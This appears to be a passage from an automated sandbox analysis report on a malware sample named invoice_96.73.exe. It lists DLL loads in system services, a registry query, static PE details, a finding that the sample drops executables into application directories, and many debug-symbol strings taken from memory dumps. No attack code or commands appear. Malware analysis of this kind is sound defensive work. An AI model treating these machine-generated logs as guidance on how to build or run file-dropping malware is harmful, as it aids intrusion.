Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtctm.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtcprx.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxclu.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: clusapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: resutils.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtclog.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: xolehlp.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: comres.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: msdtcvsp1res.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: mtxoci.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: oci.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\msdtc.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\msiexec.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\perfhost.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\snmptrap.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\vds.exe	Section loaded: atl.dll
Source: C:\Windows\System32\vds.exe	Section loaded: osuninst.dll
Source: C:\Windows\System32\vds.exe	Section loaded: vdsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\vds.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\vds.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\vds.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\vds.exe	Section loaded: ifsutil.dll
Source: C:\Windows\System32\vds.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\vds.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: atl.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: virtdisk.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fltlib.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: clusapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fveapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: tbs.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: fvecerts.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wbengine.exe	Section loaded: rpcrtremote.dll

Source: C:\Windows\ehome\ehrecvr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A5CF917A-0F75-4B29-A0A0-5348E501DA59}\InprocServer32

Drops executable to a common third party application directory

Source: invoice_96.73.exe

Static file information: File size 1799680 > 1048576

Source: invoice_96.73.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb77.GCTL source: armsvc.exe, 00000002.00000003.549948881.00000000015A0000.00000004.00001000.00020000.00000000.sdmp, FullTrustNotifier.exe.2.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: invoice_96.73.exe, 00000000.00000003.346461774.0000000002A90000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe.0.dr
Source:	Binary string: TextExtractor.pdb55. source: armsvc.exe, 00000002.00000003.528202244.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdb source: armsvc.exe, 00000002.00000003.384565633.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.384370417.00000000020E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\ktab_objs\ktab.pdb source: armsvc.exe, 00000002.00000003.469269296.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.470738958.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, ktab.exe.2.dr
Source:	Binary string: AcroBroker.pdb source: armsvc.exe, 00000002.00000003.494060398.0000000001520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\klist_objs\klist.pdb source: armsvc.exe, 00000002.00000003.466271925.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.468672844.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vssvc.pdb source: armsvc.exe, 00000002.00000003.400446853.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.397705170.0000000002340000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb source: armsvc.exe, 00000002.00000003.535376805.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: sppsvc.pdb source: armsvc.exe, 00000002.00000003.393285094.0000000002340000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\deploy\tmp\jp2launcher\obj64\jp2launcher.pdb source: armsvc.exe, 00000002.00000003.459702439.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdb source: armsvc.exe, 00000002.00000003.377542137.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WCChromeNativeMessagingHost.pdb88/ source: armsvc.exe, 00000002.00000003.543127259.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msiexec.pdbE3 source: armsvc.exe, 00000002.00000003.384565633.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.384370417.00000000020E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: aspnet_state.pdb source: invoice_96.73.exe, 00000000.00000003.353700920.00000000037C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\dw\x86\ship\0\dwtrig20.pdb\ship\0\dwtrig20.exe\bbtopt\dwtrig20O.pdbTb source: armsvc.exe, 00000002.00000003.436668125.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\deploy\tmp\javacplexec\obj64\javacpl.pdb source: armsvc.exe, 00000002.00000003.453426244.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: invoice_96.73.exe, 00000000.00000003.350225262.0000000004220000.00000004.00001000.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.353569093.0000000004380000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.382195696.0000000000710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.387726638.0000000000A20000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.387726638.00000000008A0000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.381468216.0000000000450000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\deploy\jre-image\bin\javaws.pdb source: armsvc.exe, 00000002.00000003.456767187.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\servertool_objs\servertool.pdb source: armsvc.exe, 00000002.00000003.484334362.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.485863141.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, servertool.exe.2.dr
Source:	Binary string: FXSSVC.pdb source: armsvc.exe, 00000002.00000003.375221834.0000000002110000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.375401545.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Perforce\FRMain\code\build\win\results\Release\info\arh.pdb source: armsvc.exe, 00000002.00000003.539704237.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdb@SH source: armsvc.exe, 00000002.00000003.391469846.0000000002030000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391488401.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.392623971.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391662820.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391640685.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.392746098.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391569645.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391549027.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391679575.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdbGCTL source: armsvc.exe, 00000002.00000003.410168312.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ehSched.pdb source: armsvc.exe, 00000002.00000003.368828729.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mscorsvw.pdbD source: armsvc.exe, 00000002.00000003.356595540.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.356855501.00000000020D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: locator.pdb@SH source: armsvc.exe, 00000002.00000003.390348820.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391373712.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.390223997.0000000002040000.00000004.00001000.00020000.00000000.sdmp, Locator.exe.2.dr
Source:	Binary string: locator.pdb source: armsvc.exe, 00000002.00000003.390348820.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391373712.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.390223997.0000000002040000.00000004.00001000.00020000.00000000.sdmp, Locator.exe.2.dr
Source:	Binary string: Eula.pdb995 source: armsvc.exe, 00000002.00000003.546479748.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdbE3 source: armsvc.exe, 00000002.00000003.383128547.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.383373251.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AcroRd32Info.pdb''$ source: armsvc.exe, 00000002.00000003.525307374.0000000001520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ALG.pdbH source: invoice_96.73.exe, 00000000.00000003.353143094.0000000002990000.00000004.00001000.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.349561520.00000000037F0000.00000004.00001000.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.349725788.0000000003690000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\jjs_objs\jjs.pdb source: armsvc.exe, 00000002.00000003.457782973.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.459238005.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\javaw_objs\javaw.pdb source: armsvc.exe, 00000002.00000003.455163285.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vds.pdb source: armsvc.exe, 00000002.00000003.397013643.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.396407942.0000000002340000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\pack200_objs\pack200.pdb source: armsvc.exe, 00000002.00000003.475333705.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.473148665.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, pack200.exe.2.dr
Source:	Binary string: FXSSVC.pdbH source: armsvc.exe, 00000002.00000003.375221834.0000000002110000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.375401545.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ADelRCP_Exec.pdb"" source: armsvc.exe, 00000002.00000003.535376805.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wbengine.pdb source: armsvc.exe, 00000002.00000003.406707369.0000000002340000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.408514012.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, wbengine.exe.2.dr
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\deploy\tmp\ssvagent\obj64\ssvagent.pdb source: armsvc.exe, 00000002.00000003.486325519.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: RdrServicesUpdater.pdb source: armsvc.exe, 00000002.00000003.505647536.0000000001520000.00000004.00001000.00020000.00000000.sdmp, RdrServicesUpdater.exe.2.dr
Source:	Binary string: Reader_SL.pdb source: armsvc.exe, 00000002.00000003.562770680.00000000015A0000.00000004.00001000.00020000.00000000.sdmp, reader_sl.exe.2.dr
Source:	Binary string: dllhost.pdb source: armsvc.exe, 00000002.00000003.367049067.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.365429187.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.366371363.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: 64BitMAPIBroker.pdb source: armsvc.exe, 00000002.00000003.560950448.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb source: armsvc.exe, 00000002.00000003.557364709.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\tnameserv_objs\tnameserv.pdb source: armsvc.exe, 00000002.00000003.489549395.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.487933840.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WMPNetwk.pdb source: armsvc.exe, 00000002.00000003.417582553.0000000002340000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.418441175.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: SearchIndexer.pdb source: armsvc.exe, 00000002.00000003.420532553.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\kinit_objs\kinit.pdb source: armsvc.exe, 00000002.00000003.464557449.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.465983373.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\unpackexe\unpack200.pdb source: armsvc.exe, 00000002.00000003.490456860.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, unpack200.exe.2.dr
Source:	Binary string: chrome_wow_helper.pdb source: armsvc.exe, 00000002.00000003.573489148.0000000001520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: ieetwcollector.pdb source: armsvc.exe, 00000002.00000003.378562857.00000000020E0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.378697876.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AcroBroker.pdbsTT6 source: armsvc.exe, 00000002.00000003.494060398.0000000001520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\rmiregistry_objs\rmiregistry.pdb source: armsvc.exe, 00000002.00000003.484025303.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.482732897.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WCChromeNativeMessagingHost.pdb source: armsvc.exe, 00000002.00000003.543127259.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\delivery\x64\ship\0\ose.pdb source: armsvc.exe, 00000002.00000003.388508123.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\work\p4\splinters\Splinters\S\BuildResults\bin\Win32\ReaderRelease\FullTrustNotifier\FullTrustNotifier.pdb source: armsvc.exe, 00000002.00000003.549948881.00000000015A0000.00000004.00001000.00020000.00000000.sdmp, FullTrustNotifier.exe.2.dr
Source:	Binary string: PerfHost.pdb source: armsvc.exe, 00000002.00000003.389231981.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.390086664.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.389367971.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\dw\x86\ship\0\dw20.pdb\x86\ship\0\dw20.exe\bbtopt\dw20O.pdb] source: DW20.EXE.2.dr
Source:	Binary string: t:\dw\x86\ship\0\dw20.pdb source: armsvc.exe, 00000002.00000003.431900302.0000000002150000.00000004.00001000.00020000.00000000.sdmp, DW20.EXE.2.dr
Source:	Binary string: t:\dw\x86\ship\0\dw20.pdb\x86\ship\0\dw20.exe\bbtopt\dw20O.pdb source: armsvc.exe, 00000002.00000003.431900302.0000000002150000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\dw\x86\ship\0\dwtrig20.pdb\ship\0\dwtrig20.exe\bbtopt\dwtrig20O.pdb source: armsvc.exe, 00000002.00000003.435805311.0000000002090000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\orbd_objs\orbd.pdb source: armsvc.exe, 00000002.00000003.471060222.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.472762066.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: vds.pdbH source: armsvc.exe, 00000002.00000003.397013643.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.396407942.0000000002340000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: WmiApSrv.pdb source: armsvc.exe, 00000002.00000003.410168312.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: t:\delivery\x64\ship\0\ose.pdby\x64\ship\0\ose.exe\bbtopt\oseO.pdb source: armsvc.exe, 00000002.00000003.388508123.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wbengine.pdb@SH source: armsvc.exe, 00000002.00000003.406707369.0000000002340000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.408514012.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, wbengine.exe.2.dr
Source:	Binary string: ALG.pdb source: invoice_96.73.exe, 00000000.00000003.353143094.0000000002990000.00000004.00001000.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.349561520.00000000037F0000.00000004.00001000.00020000.00000000.sdmp, invoice_96.73.exe, 00000000.00000003.349725788.0000000003690000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: \ship\0\dwtrig20.exe\bbtopt\dwtrig20O.pdb source: armsvc.exe, 00000002.00000003.435805311.0000000002090000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.436668125.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\jabswitch\jabswitch.pdb source: armsvc.exe, 00000002.00000003.444147951.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Release\Plug_ins\pi_brokers\32BitMAPIBroker.pdb00 source: armsvc.exe, 00000002.00000003.557364709.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: msdtcexe.pdb source: armsvc.exe, 00000002.00000003.383128547.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.383373251.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\keytool_objs\keytool.pdb source: armsvc.exe, 00000002.00000003.461065533.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.464249013.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Eula.pdb source: armsvc.exe, 00000002.00000003.546479748.00000000015A0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\rmid_objs\rmid.pdb source: armsvc.exe, 00000002.00000003.482423318.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.480866013.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: PresentationFontCache.pdbHt^t Pt_CorExeMainmscoree.dll source: armsvc.exe, 00000002.00000003.377542137.0000000002040000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AcroRd32Info.pdb source: armsvc.exe, 00000002.00000003.525307374.0000000001520000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\java-rmi_objs\java-rmi.pdb source: armsvc.exe, 00000002.00000003.447269346.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.449170797.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, java-rmi.exe.2.dr
Source:	Binary string: mscorsvw.pdb source: armsvc.exe, 00000002.00000003.358919059.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.357934504.00000000020D0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.360197624.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.356595540.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.356855501.00000000020D0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.357840917.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.359130916.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: Reader_SL.pdb..) source: armsvc.exe, 00000002.00000003.562770680.00000000015A0000.00000004.00001000.00020000.00000000.sdmp, reader_sl.exe.2.dr
Source:	Binary string: E:\r\ws\St_Make\code\build\win\results\FlashPlayerUpdateService\Release\Win32\FlashPlayerUpdateService.pdb source: invoice_96.73.exe, 00000000.00000003.347332988.0000000002A90000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: c:\re\workspace\8-2-build-windows-amd64-cygwin\jdk8u121\8372\build\windows-amd64\jdk\objs\policytool_objs\policytool.pdb source: armsvc.exe, 00000002.00000003.480547768.0000000001BB0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.476508666.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: snmptrap.pdb source: armsvc.exe, 00000002.00000003.391469846.0000000002030000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391488401.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.392623971.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391662820.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391640685.00000000020C0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.392746098.0000000001CA0000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391569645.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391549027.0000000002040000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.391679575.00000000020C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: RdrServicesUpdater.pdb;; source: armsvc.exe, 00000002.00000003.505647536.0000000001520000.00000004.00001000.00020000.00000000.sdmp, RdrServicesUpdater.exe.2.dr
Source:	Binary string: t:\dw\x86\ship\0\dwtrig20.pdb source: armsvc.exe, 00000002.00000003.435805311.0000000002090000.00000004.00001000.00020000.00000000.sdmp, armsvc.exe, 00000002.00000003.436668125.0000000001FE0000.00000004.00001000.00020000.00000000.sdmp
